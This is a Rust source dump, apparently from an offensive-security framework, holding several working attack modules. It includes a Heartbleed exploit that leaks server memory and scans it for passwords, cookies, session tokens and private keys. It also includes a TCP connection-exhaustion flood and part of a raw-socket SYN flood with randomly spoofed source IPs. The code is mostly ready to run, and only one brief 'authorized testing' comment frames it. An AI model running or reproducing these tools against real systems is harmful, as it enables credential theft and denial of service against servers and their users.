print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
input.clear();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read payload size input")?;
if let Ok(size) = input.trim().parse::<u16>() {
if size > 0 && size <= 0x4000 {
config.payload_size = size;
} else if size > 0x4000 {
println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
config.payload_size = 0x4000;
}
}
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
input.clear();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read heartbeat attempts input")?;
if let Ok(attempts) = input.trim().parse::<usize>() {
if attempts > 0 && attempts <= 20 {
config.heartbeat_attempts = attempts;
} else if attempts > 20 {
println!("{}", "Warning: Too many attempts, capped at 20".yellow());
config.heartbeat_attempts = 20;
}
}
if target.is_empty() {
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
input.clear();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read batch mode input")?;
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
print!("{}", "Enter batch file path: ".green());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
input.clear();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read batch file path input")?;
let batch_file = input.trim().to_string();
if !batch_file.is_empty() {
if Path::new(&batch_file).exists() {
config.batch_file = Some(batch_file);
} else {
println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
}
}
}
}
println!();
println!("{}", "Configuration Summary:".cyan().bold());
println!(" Port: {}", config.port);
println!(" Payload Size: {} bytes", config.payload_size);
println!(" Heartbeat Attempts: {}", config.heartbeat_attempts);
if let Some(ref batch) = config.batch_file {
println!(" Batch File: {}", batch);
}
println!();
Ok(config)
}
pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
if let Some(batch_file) = &config.batch_file {
run_batch_scan(batch_file, &config).await
} else {
scan_single_target(target, &config).await
}
}
async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
let file = File::open(batch_file)
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
let reader = BufReader::new(file);
let targets: Vec<String> = reader
.lines()
.filter_map(|line| line.ok())
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty() && !line.starts_with('#'))
.collect();
if targets.is_empty() {
bail!("No valid targets found in batch file");
}
println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
let mut tasks = FuturesUnordered::new();
for target in targets {
let config_clone = config.clone();
let sem = semaphore.clone();
let sem_clone = sem.clone();
tasks.push(tokio::spawn(async move {
// Semaphore acquire should never fail in practice, but handle gracefully
let _permit = match sem_clone.acquire().await {
Ok(p) => p,
Err(_) => {
eprintln!("Warning: Failed to acquire semaphore permit");
return Ok(());
}
};
scan_single_target(&target, &config_clone).await
}));
}
while let Some(result) = tasks.next().await {
if let Err(e) = result {
eprintln!("{}", format!("[-] Task error: {}", e).red());
}
}
println!("{}", "\n[*] Batch scan complete".green().bold());
Ok(())
}
async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
let raw = target.trim();
if raw.is_empty() {
bail!("Target address cannot be empty");
}
let stripped = raw
.trim_start_matches('[')
.trim_end_matches(']');
let host = if stripped.contains(':') && !stripped.contains('.') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
let addr = format!("{}:{}", host, config.port);
println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}",
addr, config.payload_size, config.heartbeat_attempts).cyan());
let mut all_leaked_data = Vec::new();
for attempt in 1..=config.heartbeat_attempts {
println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
match scan_with_retry(&addr, config.payload_size).await {
Ok(Some(data)) => {
println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
all_leaked_data.extend_from_slice(&data);
}
Ok(None) => {
println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
}
Err(e) => {
println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
}
}
if attempt < config.heartbeat_attempts {
sleep(Duration::from_millis(100)).await;
}
}
if all_leaked_data.is_empty() {
println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
return Ok(());
}
println!();
println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
println!();
analyze_leaked_data(&all_leaked_data);
let safe_filename = stripped
.replace(':', "_")
.replace('/', "_")
.replace('\\', "_");
let filename = format!("leak_dump_{}.bin", safe_filename);
save_leak_dump(&filename, &all_leaked_data)?;
println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
Ok(())
}
async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let mut backoff = INITIAL_BACKOFF_MS;
for retry in 0..MAX_RETRIES {
if retry > 0 {
println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
sleep(Duration::from_millis(backoff)).await;
backoff *= 2;
}
match perform_heartbleed_test(addr, payload_size).await {
Ok(data) => return Ok(data),
Err(e) if retry < MAX_RETRIES - 1 => {
println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
continue;
}
Err(e) => return Err(e),
}
}
bail!("All retry attempts exhausted")
}
async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => bail!("Connection failed: {}", e),
Err(_) => bail!("Connection timed out"),
};
stream.write_all(&build_client_hello()).await
.context("Failed to send Client Hello")?;
stream.flush().await
.context("Failed to flush after Client Hello")?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {},
Ok(Ok(_)) => bail!("No response to Client Hello"),
Ok(Err(e)) => bail!("Read error: {}", e),
Err(_) => bail!("Read timed out"),
}
stream.write_all(&build_heartbeat_request(payload_size)).await
.context("Failed to send Heartbeat request")?;
stream.flush().await
.context("Failed to flush after Heartbeat")?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
let n = match read_result {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => return Ok(None),
Ok(Err(_)) => return Ok(None),
Err(_) => return Ok(None),
};
if n <= 5 {
return Ok(None);
}
Ok(Some(leak[..n].to_vec()))
}
fn analyze_leaked_data(data: &[u8]) {
println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
let data_str = String::from_utf8_lossy(data);
let password_patterns = vec![
(r"password[=:]\s*[^\s&]{3,}", "Password"),
(r"passwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pass[=:]\s*[^\s&]{3,}", "Password"),
];
for (pattern, label) in password_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
}
}
}
let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
if let Some(re) = cookie_re {
for cap in re.captures_iter(&data_str) {
if let Some(cookie) = cap.get(1) {
println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
}
}
}
let session_patterns = vec![
r"PHPSESSID=[a-zA-Z0-9]{20,}",
r"JSESSIONID=[a-zA-Z0-9]{20,}",
r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
];
for pattern in session_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
}
}
}
let key_markers = vec![
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN OPENSSH PRIVATE KEY-----",
];
for marker in key_markers {
if data_str.contains(marker) {
println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
}
}
let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
if let Some(re) = auth_re {
for cap in re.captures_iter(&data_str) {
if let Some(auth) = cap.get(1) {
println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
}
}
}
let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
if let Some(re) = email_re {
let mut emails = std::collections::HashSet::new();
for cap in re.find_iter(&data_str) {
emails.insert(cap.as_str().to_string());
}
if !emails.is_empty() {
println!();
println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
for (i, email) in emails.iter().take(5).enumerate() {
println!(" {}: {}", i + 1, email);
}
if emails.len() > 5 {
println!(" ... and {} more", emails.len() - 5);
}
}
}
println!();
println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
println!("{}", printable_dump(&data[..data.len().min(512)]));
}
fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
let path = Path::new(filename);
let mut file = File::create(path)
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
file.write_all(data)
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
Ok(())
}
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302;
let time_now = match SystemTime::now().duration_since(UNIX_EPOCH) {
Ok(d) => d.as_secs() as u32,
Err(_) => 0,
};
let mut random = vec![];
random.extend_from_slice(&time_now.to_be_bytes());
random.extend_from_slice(&[0x42; 28]);
let cipher_suites: Vec<u16> = vec![
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
];
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0);
hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
for cs in &cipher_suites {
hello.extend_from_slice(&cs.to_be_bytes());
}
hello.push(1);
hello.push(0);
let mut extensions = vec![];
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
extensions.push(0x01);
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
hello.extend_from_slice(&extensions);
let mut handshake = vec![0x01];
let len = (hello.len() as u32).to_be_bytes();
handshake.extend_from_slice(&len[1..]);
handshake.extend_from_slice(&hello);
build_tls_record(0x16, version, &handshake)
}
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
record.extend_from_slice(payload);
record
}
fn printable_dump(data: &[u8]) -> String {
data.iter()
.map(|b| match *b {
32..=126 => *b as char,
b'\n' => '\n',
b'\r' | b'\t' => ' ',
_ => '.',
})
.collect()
}
+2
View File
@@ -0,0 +1,2 @@
pub mod heartbleed;
pub mod geth_dos_cve_2026_22862;
@@ -0,0 +1,360 @@
// src/modules/exploits/dos/connection_exhaustion_flood.rs
//
// Ultra-fast connection flood (server-side exhaustion)
// Opens TCP connections in parallel as fast as possible, immediately closes them.
// Uses a semaphore to bound max concurrent FDs so the LOCAL machine never runs out.
// Target: exhaust server's connection table / TIME_WAIT slots
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::net::SocketAddr;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::time::Duration;
use tokio::net::TcpStream;
use tokio::sync::Semaphore;
use tokio::time::Instant;
use crate::utils::{normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no};
/// Maximum concurrent file descriptors to use (local side protection)
const DEFAULT_MAX_FDS: usize = 1000;
/// Configuration for the connection flood
#[derive(Clone, Debug)]
struct FloodConfig {
target_display: String,
resolved_addrs: Vec<SocketAddr>,
max_concurrent_fds: usize,
worker_count: usize,
duration_secs: u64,
connect_timeout_ms: u64,
verbose: bool,
}
/// Entry point for the module
pub async fn run(initial_target: &str) -> Result<()> {
print_banner();
let config = setup_wizard(initial_target).await?;
execute_flood(&config).await
}
fn print_banner() {
println!(
"{}",
r#"
Connection Exhaustion Flood
Ultra-Fast Parallel TCP Connect & Drop
Server-Side Resource Exhaustion
This module BOUNDS local FD usage via semaphore.
Your system will NOT run out of file descriptors.
"#
.red()
.bold()
);
}
async fn setup_wizard(initial_target: &str) -> Result<FloodConfig> {
println!("{}", "=== Configuration ===".blue().bold());
// Target
let target_input = if initial_target.trim().is_empty() {
prompt_required("Target Host/IP")?
} else {
println!(
"{}",
format!("[*] Using target: {}", initial_target).cyan()
);
initial_target.to_string()
};
let normalized = normalize_target(&target_input)?;
// Extract host and port
let (host, port) = if let Some((h, p)) = normalized.split_once(':') {
let parsed_port = p.parse::<u16>()
.map_err(|_| anyhow!("Invalid port '{}' in target", p))?;
(h.to_string(), parsed_port)
} else {
let p = prompt_port("Target Port", 80)?;
(normalized, p)
};
let target_display = format!("{}:{}", host, port);
// Pre-resolve DNS
println!(
"{}",
format!("[*] Resolving {}...", target_display).yellow()
);
let resolved_addrs: Vec<SocketAddr> = tokio::net::lookup_host(&target_display)
.await
.context("Failed to resolve target hostname")?
.collect();
if resolved_addrs.is_empty() {
return Err(anyhow!("Could not resolve target address"));
}
println!(
"{}",
format!("[+] Resolved to: {:?}", resolved_addrs).green()
);
// Max concurrent FDs (local protection)
let max_fds_input = prompt_default(
"Max Concurrent FDs (local limit)",
&DEFAULT_MAX_FDS.to_string(),
)?;
let max_concurrent_fds: usize = max_fds_input
.parse()
.map_err(|_| anyhow!("Invalid number for max FDs"))?;
if max_concurrent_fds == 0 {
return Err(anyhow!("Max FDs must be > 0"));
}
// Worker count (async tasks spawning connections)
let workers_input = prompt_default("Worker Tasks (parallel spawners)", "2000")?;
let worker_count: usize = workers_input
.parse()
.map_err(|_| anyhow!("Invalid number for workers"))?;
if worker_count == 0 {
return Err(anyhow!("Worker count must be > 0"));
}
// Duration
let duration_input = prompt_default("Duration (seconds, 0 = infinite)", "60")?;
let duration_secs: u64 = duration_input
.parse()
.map_err(|_| anyhow!("Invalid duration"))?;
// Connection timeout
let timeout_input = prompt_default("Connection Timeout (ms)", "2000")?;
let connect_timeout_ms: u64 = timeout_input
.parse()
.map_err(|_| anyhow!("Invalid timeout"))?;
let verbose = prompt_yes_no("Verbose Output (show sample errors)?", false)?;
println!("\n{}", "=== Attack Summary ===".bold());
println!(" Target: {}", target_display.cyan());
println!(" Resolved IPs: {:?}", resolved_addrs);
println!(" Max Concurrent FDs: {} (LOCAL PROTECTION)", max_concurrent_fds);
println!(" Worker Tasks: {}", worker_count);
println!(
" Duration: {}",
if duration_secs == 0 {
"INFINITE (Ctrl+C to stop)".to_string()
} else {
format!("{}s", duration_secs)
}
);
println!(" Mode: Connect & Immediate Drop (FD-Bounded)");
println!();
println!(
"{}",
"[!] Your local FD usage is capped. Target's connection"
.yellow()
);
println!(
"{}",
" table will be exhausted, not yours.".yellow()
);
if !prompt_yes_no("Start Attack?", true)? {
return Err(anyhow!("Attack cancelled by user"));
}
Ok(FloodConfig {
target_display,
resolved_addrs,
max_concurrent_fds,
worker_count,
duration_secs,
connect_timeout_ms,
verbose,
})
}
async fn execute_flood(config: &FloodConfig) -> Result<()> {
println!(
"\n{}",
"[*] Starting Connection Exhaustion Flood..."
.yellow()
.bold()
);
println!(
"{}",
format!("[*] FD Semaphore limit: {}", config.max_concurrent_fds)
.dimmed()
);
let stop_flag = Arc::new(AtomicBool::new(false));
let stats_connected = Arc::new(AtomicU64::new(0));
let stats_failed = Arc::new(AtomicU64::new(0));
// Semaphore bounds the number of OPEN file descriptors at any time
let fd_semaphore = Arc::new(Semaphore::new(config.max_concurrent_fds));
let start_time = Instant::now();
let connect_timeout = Duration::from_millis(config.connect_timeout_ms);
// Use first resolved address for raw speed
let target_addr = config.resolved_addrs[0];
// Stats printer task
let s_stop = stop_flag.clone();
let s_conn = stats_connected.clone();
let s_fail = stats_failed.clone();
let s_start = start_time;
let stats_handle = tokio::spawn(async move {
let mut last_conn = 0u64;
loop {
tokio::time::sleep(Duration::from_secs(1)).await;
if s_stop.load(Ordering::Relaxed) {
break;
}
let conn = s_conn.load(Ordering::Relaxed);
let fail = s_fail.load(Ordering::Relaxed);
let elapsed = s_start.elapsed().as_secs_f64();
let rate = conn as f64 / elapsed.max(0.001);
let delta = conn.saturating_sub(last_conn);
last_conn = conn;
print!(
"\r{} {}",
"[*]".dimmed(),
format!(
"Connected: {} | Failed: {} | Rate: {:.0}/s | Last sec: {} conns ",
conn, fail, rate, delta
)
.dimmed()
);
use std::io::Write;
let _ = std::io::stdout().flush();
}
});
// Spawn worker tasks
// Each worker continuously: acquire semaphore -> connect -> close -> release semaphore
let mut handles = Vec::with_capacity(config.worker_count);
for _ in 0..config.worker_count {
let stop = stop_flag.clone();
let sem = fd_semaphore.clone();
let conn_stat = stats_connected.clone();
let fail_stat = stats_failed.clone();
let timeout = connect_timeout;
let verbose = config.verbose;
let target = target_addr;
let handle = tokio::spawn(async move {
let mut rng_counter = 0u64;
while !stop.load(Ordering::Relaxed) {
// Acquire semaphore permit BEFORE opening a connection
// This ensures we never exceed max_concurrent_fds open sockets
let permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => break, // Semaphore closed
};
// Attempt connection
match tokio::time::timeout(timeout, TcpStream::connect(target)).await {
Ok(Ok(stream)) => {
// Successfully connected
conn_stat.fetch_add(1, Ordering::Relaxed);
// Immediately drop the stream to close the connection
// This sends FIN, server still has to handle TIME_WAIT
drop(stream);
}
Ok(Err(e)) => {
// Connection error (refused, unreachable, etc.)
fail_stat.fetch_add(1, Ordering::Relaxed);
if verbose {
rng_counter = rng_counter.wrapping_add(1);
// Log ~0.1% of errors
if rng_counter % 1000 == 0 {
eprintln!("\n[!] Connect error: {}", e);
}
}
}
Err(_) => {
// Timeout
fail_stat.fetch_add(1, Ordering::Relaxed);
}
}
// Drop permit to release the semaphore slot
// (This happens automatically but being explicit is clearer)
drop(permit);
}
});
handles.push(handle);
}
// Run for duration (or forever if 0)
if config.duration_secs > 0 {
tokio::time::sleep(Duration::from_secs(config.duration_secs)).await;
} else {
// Infinite mode - wait for Ctrl+C signal for graceful shutdown
println!(
"\n{}",
"[*] Running indefinitely. Press Ctrl+C to stop.".yellow()
);
let _ = tokio::signal::ctrl_c().await;
}
// Signal stop
stop_flag.store(true, Ordering::Relaxed);
println!();
println!("{}", "[*] Stopping workers...".yellow());
// Wait for workers to finish their current iteration
for h in handles {
let _ = tokio::time::timeout(Duration::from_secs(5), h).await;
}
// Stop stats printer
let _ = stats_handle.await;
// Final report
let total_conn = stats_connected.load(Ordering::Relaxed);
let total_fail = stats_failed.load(Ordering::Relaxed);
let elapsed = start_time.elapsed().as_secs_f64();
println!("\n{}", "=== Attack Complete ===".green().bold());
println!("Target: {}", config.target_display);
println!("Duration: {:.2}s", elapsed);
println!("Total Connections: {}", total_conn);
println!("Failed Attempts: {}", total_fail);
if elapsed > 0.0 {
println!("Average Rate: {:.0} conn/s", total_conn as f64 / elapsed);
}
println!();
println!(
"{}",
format!("[+] Local FD usage was bounded to {} concurrent.", config.max_concurrent_fds)
.green()
);
println!(
"{}",
format!(
" Target received {} handshake attempts (server-side exhaustion).",
total_conn
)
.green()
);
Ok(())
}
+3
View File
@@ -0,0 +1,3 @@
pub mod connection_exhaustion_flood;
pub mod null_syn_exhaustion;
pub mod tcp_connection_flood;
@@ -0,0 +1,636 @@
//! Null SYN Exhaustion Testing Module
//!
//! High-performance SYN flood with null-byte payloads for resource exhaustion testing.
//! Uses native OS threads for CPU-bound packet generation with minimal overhead.
//! FOR AUTHORIZED TESTING ONLY.
use anyhow::{anyhow, Context, Result};
use colored::*;
use pnet_packet::ip::IpNextHeaderProtocols;
use pnet_packet::ipv4::{self, MutableIpv4Packet};
use pnet_packet::tcp::{MutableTcpPacket, TcpFlags};
use socket2::{Domain, Protocol, Socket, Type};
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use crate::utils::{
normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no,
};
// ============================================================================
// CONSTANTS
// ============================================================================
const IPV4_HEADER_LEN: usize = 20;
const TCP_HEADER_LEN: usize = 20;
const STATS_BATCH_SIZE: u64 = 500; // Flush stats every N packets
const DEFAULT_TTL: u8 = 64;
const DEFAULT_WINDOW: u16 = 64240;
// ============================================================================
// CONFIGURATION
// ============================================================================
/// Configuration for the exhaustion test
#[derive(Clone, Debug)]
pub struct ExhaustionConfig {
target_ip: Ipv4Addr,
target_port: u16,
source_port: Option<u16>,
use_random_source_ip: bool,
worker_count: usize,
duration_secs: u64,
interval_mode: IntervalMode,
payload_size: usize,
verbose: bool,
}
#[derive(Clone, Copy, Debug)]
pub enum IntervalMode {
/// Maximum speed - no artificial delay
Zero,
/// Fixed delay between packets in microseconds
DelayMicros(u64),
}
// ============================================================================
// FAST RNG (Thread-Safe Seeding)
// ============================================================================
/// XorShift128+ PRNG - high performance, non-cryptographic
/// Each instance is uniquely seeded using thread ID + time for isolation
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
/// Create a new RNG with unique seed per caller
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) {
Ok(d) => d.as_nanos() as u64,
Err(_) => 0,
};
// Mix thread ID with time to ensure unique seeds across threads
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = (time_seed.rotate_left(17)) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
// Warm up the RNG state
for _ in 0..16 {
rng.next_u64();
}
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u32(&mut self) -> u32 {
self.next_u64() as u32
}
#[inline(always)]
fn next_u16(&mut self) -> u16 {
self.next_u64() as u16
}
#[inline(always)]
fn gen_ipv4_public(&mut self) -> Ipv4Addr {
loop {
let octets = self.next_u32().to_be_bytes();
// Exclude: loopback, any, multicast, reserved, private ranges
match octets[0] {
0 | 10 | 127 => continue, // 0.x, 10.x, 127.x
224..=255 => continue, // Multicast / Reserved
172 if (16..=31).contains(&octets[1]) => continue, // 172.16-31.x
192 if octets[1] == 168 => continue, // 192.168.x
169 if octets[1] == 254 => continue, // 169.254.x (link-local)
100 if (64..=127).contains(&octets[1]) => continue, // 100.64-127.x (CGNAT)
_ => return Ipv4Addr::new(octets[0], octets[1], octets[2], octets[3]),
}
}
}
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
// Range: 49152-65535 (IANA ephemeral)
(self.next_u16() % 16384) + 49152
}
}
// ============================================================================
// PACKET BUILDER
// ============================================================================
/// Pre-allocated packet buffer with efficient field updates
struct PacketBuilder {
buffer: Vec<u8>,
use_random_src_ip: bool,
fixed_src_ip: Ipv4Addr,
fixed_src_port: Option<u16>,
target_ip: Ipv4Addr,
target_port: u16,
}
impl PacketBuilder {
fn new(config: &ExhaustionConfig, local_ip: Ipv4Addr) -> Result<Self> {
let total_len = IPV4_HEADER_LEN + TCP_HEADER_LEN + config.payload_size;
debug_assert!(total_len <= u16::MAX as usize, "Packet size exceeds IPv4 maximum");
let buffer = vec![0u8; total_len];
Ok(Self {
buffer,
use_random_src_ip: config.use_random_source_ip,
fixed_src_ip: local_ip,
fixed_src_port: config.source_port,
target_ip: config.target_ip,
target_port: config.target_port,
})
}
/// Update dynamic fields and compute checksums
/// Returns a reference to the ready-to-send buffer
#[inline]
fn build_packet(&mut self, rng: &mut FastRng) -> &[u8] {
// CRITICAL: Generate random source IP for each packet when spoofing is enabled
let src_ip = if self.use_random_src_ip {
rng.gen_ipv4_public() // Generate a NEW random IP for EVERY packet
} else {
self.fixed_src_ip
};
let src_port = self.fixed_src_port.unwrap_or_else(|| rng.gen_ephemeral_port());
let ip_id = rng.next_u16();
let seq_num = rng.next_u32();
let total_len = self.buffer.len() as u16;
// Build IP header from scratch each time to ensure source IP is set correctly
if let Some(mut ip) = MutableIpv4Packet::new(&mut self.buffer) {
ip.set_version(4);
ip.set_header_length(5);
ip.set_dscp(0);
ip.set_ecn(0);
ip.set_total_length(total_len);
ip.set_identification(ip_id);
ip.set_flags(0);
ip.set_fragment_offset(0);
ip.set_ttl(DEFAULT_TTL);
ip.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
ip.set_source(src_ip); // CRITICAL: Set the random source IP here
ip.set_destination(self.target_ip);
// Calculate IP checksum
ip.set_checksum(0);
let checksum = ipv4::checksum(&ip.to_immutable());
ip.set_checksum(checksum);
}
// Build TCP header
if let Some(mut tcp) = MutableTcpPacket::new(&mut self.buffer[IPV4_HEADER_LEN..]) {
tcp.set_source(src_port);
tcp.set_destination(self.target_port);
tcp.set_sequence(seq_num);
tcp.set_acknowledgement(0);
tcp.set_data_offset(5);
tcp.set_reserved(0);
tcp.set_flags(TcpFlags::SYN);
tcp.set_window(DEFAULT_WINDOW);
tcp.set_urgent_ptr(0);
tcp.set_checksum(0);
}
// Calculate TCP checksum with pseudo-header
let tcp_checksum = self.calculate_tcp_checksum(src_ip);
if let Some(mut tcp) = MutableTcpPacket::new(&mut self.buffer[IPV4_HEADER_LEN..]) {
tcp.set_checksum(tcp_checksum);
}
&self.buffer
}
#[inline]
fn calculate_tcp_checksum(&self, src_ip: Ipv4Addr) -> u16 {
let mut sum: u32 = 0;
// 1. Pseudo-Header Sum
// Source IP
let src_octets = src_ip.octets();
sum += u16::from_be_bytes([src_octets[0], src_octets[1]]) as u32;
sum += u16::from_be_bytes([src_octets[2], src_octets[3]]) as u32;
// Dest IP
let dst_octets = self.target_ip.octets();
sum += u16::from_be_bytes([dst_octets[0], dst_octets[1]]) as u32;
sum += u16::from_be_bytes([dst_octets[2], dst_octets[3]]) as u32;
// Reserved (0) + Protocol (6 for TCP)
sum += IpNextHeaderProtocols::Tcp.0 as u32;
// TCP Length (Header + Payload)
let tcp_len = (self.buffer.len() - IPV4_HEADER_LEN) as u32;
sum += tcp_len;
// 2. TCP Header + Payload Sum
let tcp_data = &self.buffer[IPV4_HEADER_LEN..];
for chunk in tcp_data.chunks(2) {
if chunk.len() == 2 {
sum += u16::from_be_bytes([chunk[0], chunk[1]]) as u32;
} else if chunk.len() == 1 {
// Pad last odd byte with zero
sum += u16::from_be_bytes([chunk[0], 0]) as u32;
}
}
// Fold 32-bit sum to 16-bit
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline]
fn packet_size(&self) -> usize {
self.buffer.len()
}
}
// ============================================================================
// WORKER THREAD
// ============================================================================
/// Statistics for a single worker
struct WorkerStats {
packets: u64,
bytes: u64,
}
/// Run the packet sending loop for a single worker thread
fn worker_thread(
worker_id: usize,
config: ExhaustionConfig,
local_ip: Ipv4Addr,
stop_flag: Arc<AtomicBool>,
global_packets: Arc<AtomicU64>,
global_bytes: Arc<AtomicU64>,
start_time: Instant,
) {
// Create dedicated socket for this worker (no contention)
let socket = match create_raw_socket() {
Ok(s) => s,
Err(e) => {
if worker_id == 0 {
eprintln!("\n{}", format!("[!] Worker 0 socket error: {}", e).red().bold());
}
return;
}
};
// Pre-allocate packet builder
let mut builder = match PacketBuilder::new(&config, local_ip) {
Ok(b) => b,
Err(e) => {
if worker_id == 0 {
eprintln!("\n{}", format!("[!] Packet builder error: {}", e).red());
}
return;
}
};
// Thread-local RNG with unique seed
let mut rng = FastRng::with_thread_seed(worker_id);
// Destination socket address (constant)
let dst_addr: socket2::SockAddr = SocketAddr::new(IpAddr::V4(config.target_ip), 0).into();
let duration = Duration::from_secs(config.duration_secs);
let delay = match config.interval_mode {
IntervalMode::Zero => None,
IntervalMode::DelayMicros(us) => Some(Duration::from_micros(us)),
};
let packet_size = builder.packet_size() as u64;
let mut stats = WorkerStats { packets: 0, bytes: 0 };
// Main send loop
loop {
// Check termination conditions
if stop_flag.load(Ordering::Relaxed) || start_time.elapsed() >= duration {
break;
}
// Build packet with NEW random source IP each time if spoofing enabled
let packet = builder.build_packet(&mut rng);
match socket.send_to(packet, &dst_addr) {
Ok(_) => {
stats.packets += 1;
stats.bytes += packet_size;
}
Err(e) => {
// Log permission errors only once
if config.verbose && worker_id == 0 {
let err_str = e.to_string();
if err_str.contains("ermission") || err_str.contains("EPERM") {
eprintln!("\n{}", "[!] Root privileges required for raw sockets.".red().bold());
